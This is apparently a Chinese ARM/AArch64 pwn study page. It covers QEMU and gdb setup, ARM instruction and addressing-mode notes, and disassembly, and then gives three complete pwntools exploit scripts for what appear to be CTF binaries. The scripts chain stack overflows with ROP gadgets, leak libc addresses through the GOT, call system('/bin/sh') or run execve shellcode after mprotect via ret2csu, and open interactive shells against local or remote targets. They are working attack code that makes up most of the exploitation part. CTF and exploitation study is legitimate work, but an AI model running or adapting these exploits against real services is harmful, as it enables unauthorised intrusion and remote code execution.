Arm Pwn

1

$ sudo apt install qemu-user gdb-multiarch

1

$ apt-cache search "libc" | grep arm

1
2
3

$ sudo mkdir /etc/qemu-binfmt
$ sudo ln -s /usr/arm-linux-gnueabihf /etc/qemu-binfmt/arm
$ sudo ln -s /usr/aarch64-linux-gnu/ /etc/qemu-binfmt/aarch64 # 对于aarch64

1

$ qemu-arm -L /usr/arm-linux-gnueabihf ./bin

1

$ qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf ./bin

1
2
3

$ gdb-multiarch
> set arch arm
> target remote :1234

1

apt-cache search "binutils" | grep arm

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

ldr = Load Word
ldrh = Load unsigned Half Word
ldrsh = Load signed Half Word
ldrb = Load unsigned Byte
ldrsb = Load signed Bytes

str = Store Word
strh = Store unsigned Half Word
strsh = Store signed Half Word
strb = Store unsigned Byte
strsb = Store signed Byte

1

MNEMONIC{S}{condition} {Rd}, Operand1, Operand2

1
2
3
4
5
6
7

#123                    - 立即数
Rx                      - 寄存器X
Rx, ASR n               - 寄存器X算数右移n位 (1 = n = 32)
Rx, LSL n               - 寄存器X逻辑左移n位 (0 = n = 31)
Rx, LSR n               - 寄存器X逻辑左移n位 n bits (1 = n = 32)
Rx, ROR n               - 寄存器X循环右移n位 (1 = n = 31)
Rx, RRX                 - 寄存器X循环右移1位, with extend？

1
2
3
4

ADD   R0, R1, R2         - R0 = R1 + R2
ADD   R0, R1, #2         - R0 = R1 + 2
MOVLE R0, #5             - 当作MOVLE R0, R0, #5; if less or equal: R0 = 5
MOV   R0, R1, LSL #1     - R0 = R1 << 1

1
2

LDR R2, [R0]   将R0所存地址处的数据加载到R2
STR R2, [R1]   将R2存储到R1所指示的地址处

1
2
3

str r2, [r1, #2]  @ address mode: offset. 将R2数据存储到R1+2地址处
str r2, [r1, #4]! @ address mode: pre-indexed. 将R2数据存储到R1+4地址处，R1=R1+4
ldr r3, [r1], #4  @ address mode: post-indexed. 将R1地址处的数据读取到R3，R1=R1+4

1
2
3

str r2, [r1, r2]  @ address mode: offset.  
str r2, [r1, r2]! @ address mode: pre-indexed.
ldr r3, [r1], r2  @ address mode: post-indexed.

1
2
3

str r2, [r1, r2, LSL#2]  @ address mode: offset. R1+R2<<2
str r2, [r1, r2, LSL#2]! @ address mode: pre-indexed. R1 = R1 + R2<<2
ldr r3, [r1], r2, LSL#2  @ address mode: post-indexed. R1 = R1 + R2<<2

1
2
3
4
5
6
7
8
9

.section .text
.global _start

_start:
   ldr r0, =jump        /* load the address of the function label jump into R0 */
   ldr r1, =0x68DB00AD  /* load the value 0x68DB00AD into R1 */
jump:
   ldr r2, =511         /* load the value 511 into R2 */ 
   bkpt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

Valid values:
#256        // 1 ror 24 --> 256
#384        // 6 ror 26 --> 384
#484        // 121 ror 30 --> 484
#16384      // 1 ror 18 --> 16384
#2030043136 // 121 ror 8 --> 2030043136
#0x06000000 // 6 ror 8 --> 100663296 (0x06000000 in hex)

Invalid values:
#370        // 185 ror 31 --> 31 is not in range (0 – 30)
#511        // 1 1111 1111 --> bit-pattern can’t fit into one byte
#0x06010000 // 1 1000 0001.. --> bit-pattern can’t fit into one byte

1
2
3
4
5
6
7

ldm r0, {r4,r5}    /* 分别读取R0，R0+4地址处的数据到R4，R5 */
stm r0, {r4,r5}    /* 将R4，R5存储到R0，R0+4地址处
ldmib r0, {r4-r6}  /* 分别读取R0+4, R0+8, R0+12地址处的数据到R4, R5, R6 */
stmib r1, {r4-r6}  /* 同理 */
ldmda r0, {r4-r6}  /* 分别读取R0-8, R0-4, R0地址处的数据到R4, R5, R6。数字大的寄存器对应高地址数据*/
ldmdb r0, {r4-r6}  /* 同理 */
stmda r2, {r4-r6}  /* 将R4, R5, R6分别存储到R2-8, R2-4, R2地址处

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

ITTE   NE           ; Next 3 instructions are conditional
ANDNE  R0, R0, R1   ; ANDNE does not update condition flags
ADDSNE R2, R2, #1   ; ADDSNE updates condition flags
MOVEQ  R2, R3       ; Conditional move

ITE    GT           ; Next 2 instructions are conditional
ADDGT  R1, R0, #55  ; Conditional addition in case the GT is true
ADDLE  R1, R0, #48  ; Conditional addition in case the GT is not true

ITTEE  EQ           ; Next 4 instructions are conditional
MOVEQ  R0, R1       ; Conditional MOV
ADDEQ  R2, R2, #10  ; Conditional ADD
ANDNE  R3, R3, #1   ; Conditional AND
BNE.W  dloop        ; Branch instruction can only be used in the last instruction of an IT block

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

.text
.global _start

_start:
     .code 32         @ ARM mode
     add r2, pc, #1   @ put PC+1 into R2，此时实际PC指向mov r0,r1指令开始处（PC+8），所以bx可以直接跳过去
     bx r2            @ branch + exchange to R2

    .code 16          @ Thumb mode
     mov r0, #1

1
2
3

push   {r11, lr}    /* Start of the prologue. Saving Frame Pointer and LR onto the stack */
add    r11, sp, #0  /* Setting up the bottom of the stack frame */
sub    sp, sp, #16  /* End of the prologue. Allocating some buffer on the stack. This also allocates space for the Stack Frame */

1
2

sub    sp, r11, #0  /* Start of the epilogue. Readjusting the Stack Pointer */
pop    {r11, pc}    /* End of the epilogue. Restoring Frame Pointer from the Stack, jumping to previously saved LR via direct load into PC. The Stack Frame of a function is finally destroyed at this step. */

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

#!/usr/bin/env python3

from pwn import *

localfile = "./melong"
locallibc = "libc.so.6"
context.binary = localfile
context.log_level = "debug"
pf      = lambda name,num           :log.info(name + ": 0x%x" % num)
g       = lambda x                  :next(libc.search(asm(x)))

def check():
    io.recvuntil("Type the number:")
    io.sendline("1")
    io.recvuntil("Your height(meters) : ")
    io.sendline("1")
    io.recvuntil("Your weight(kilograms) : ")
    io.sendline("1")

def PT(num):
    io.recvuntil("Type the number:")
    io.sendline("3")
    io.recvuntil("How long do you want to take personal training?\n")
    io.sendline(str(num))

def write_diary(content):
    io.recvuntil("Type the number:")
    io.sendline("4")
    io.send(content)

def exit():
    io.recvuntil("Type the number:")
    io.sendline("6")

# gadgets
# 0x00011bbc : pop {r0, pc}
def exp():
    g1 = 0x00011bbc

    check()
    # gdb.attach(io, """b *0x11288
    # b *0x1118C
    # """)
    PT(-1)
    payload1 = b"A"*0x54 + p32(g1) + p32(elf.got["puts"]) + p32(elf.plt["puts"]) + p32(elf.sym["main"])*6
    write_diary(payload1)
    exit()

    io.recvuntil("See you again :)\n")
    puts_addr = u32(io.recv(4))
    pf("puts_addr", puts_addr)
    libc.address = puts_addr - libc.sym["puts"]
    
    check()
    PT(-1)
    payload2 = b"A"*0x54 + p32(g1) + p32(next(libc.search(b"/bin/sh"))) + p32(libc.sym["system"])
    write_diary(payload2)
    exit()

    io.interactive()

argc = len(sys.argv)
if argc == 1:
    io = process(localfile)
else:
    if argc == 2:
        host, port = sys.argv[1].split(":")
    elif argc == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    io = remote(host, port)

io = process(["qemu-arm", "-g", "1234", localfile])
elf = ELF(localfile)
libc = ELF(locallibc)
exp()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

# 位于main函数下方的csu函数
.text:00000000004008AC loc_4008AC                              ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3]
.text:00000000004008B0                 MOV             X2, X22
.text:00000000004008B4                 MOV             X1, X23
.text:00000000004008B8                 MOV             W0, W24
.text:00000000004008BC                 ADD             X19, X19, #1
.text:00000000004008C0                 BLR             X3
.text:00000000004008C4                 CMP             X19, X20
.text:00000000004008C8                 B.NE            loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC                              ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]
.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC                 RET

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

#!/usr/bin/env python3

from pwn import *

localfile = "./pwn"
# locallibc = ""
context.binary = localfile
context.log_level = "debug"
pf      = lambda name,num           :log.info(name + ": 0x%x" % num)
g       = lambda x                  :next(libc.search(asm(x)))

"""
.text:00000000004008AC loc_4008AC                              ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3]
.text:00000000004008B0                 MOV             X2, X22
.text:00000000004008B4                 MOV             X1, X23
.text:00000000004008B8                 MOV             W0, W24
.text:00000000004008BC                 ADD             X19, X19, #1
.text:00000000004008C0                 BLR             X3
.text:00000000004008C4                 CMP             X19, X20
.text:00000000004008C8                 B.NE            loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC                              ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]
.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC                 RET

X21 = address of function address
X22 = X2
X23 = X1
W24 = W0
"""
def csu_rop(call, x0, x1, x2, ret):
    payload  = p64(0x4008CC) + p64(0xdeadbeef) + p64(0x4008AC) + p64(0) + p64(1)
    payload += p64(call) + p64(x2)
    payload += p64(x1) + p64(x0)
    payload += p64(0xdeadbeef) + p64(ret)
    return payload


def exp():
    sc = asm(shellcraft.execve("/bin/sh"))

    io.recvuntil("Name:")
    io.send(sc)
    sleep(0.1)

    payload = b"A"*0x48 + csu_rop(elf.got["read"], 0, elf.got["__gmon_start__"], 8, 0x400824)
    io.send(payload)
    sleep(0.1)
    io.send(p64(elf.plt["mprotect"]))

    io.recvuntil("Name:")
    io.send(sc)
    sleep(0.1)

    payload = b"A"*0x48 + csu_rop(elf.got["__gmon_start__"], 0x411000, 0x1000, 7, 0x411068)
    io.send(payload)

    io.interactive()

argc = len(sys.argv)
if argc == 1:
    io = process(localfile)
else:
    if argc == 2:
        host, port = sys.argv[1].split(":")
    elif argc == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    io = remote(host, port)

elf = ELF(localfile)
# libc = ELF(locallibc)
exp()

1
2

0x00010348 : pop {r3, pc}
0x000104f8 : mov r0, r3 ; sub sp, fp, #4 ; pop {fp, pc}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
localfile = "./bin"
locallibc = "./libc.so.6"
pf      = lambda name,num           :log.info(name + ": 0x%x" % num)
g       = lambda x                  :next(libc.search(asm(x)))

"""
0x00010348 : pop {r3, pc}
0x000104f8 : mov r0, r3 ; sub sp, fp, #4 ; pop {fp, pc}
"""
def exp():
    payload = b"A"*0x100 + p32(0xfffeeffc) + p32(0x10348) + p32(elf.got["read"]) + p32(0x104f8) + p32(elf.plt["printf"])*2 + p32(elf.sym["main"])*8

    io.recvuntil("input: ")
    io.send(payload)

    read_addr = u32(io.recv(4))
    libc.address = read_addr - libc.sym["read"]

    payload = b"A"*0x100 + p32(0xfffef024) + p32(0x10348) + p32(next(libc.search(b"/bin/sh"))) + p32(0x104f8) + p32(libc.sym["system"])*2
    io.recvuntil("input: ")
    io.send(payload)

    io.interactive()


argc = len(sys.argv)
if argc == 1:
    io = process(localfile)
else:
    if argc == 2:
        host, port = sys.argv[1].split(":")
    elif argc == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    io = remote(host, port)

# io  = process(["qemu-arm", "-g", "1234", "./bin"])
elf = ELF(localfile)
libc = ELF(locallibc)
exp()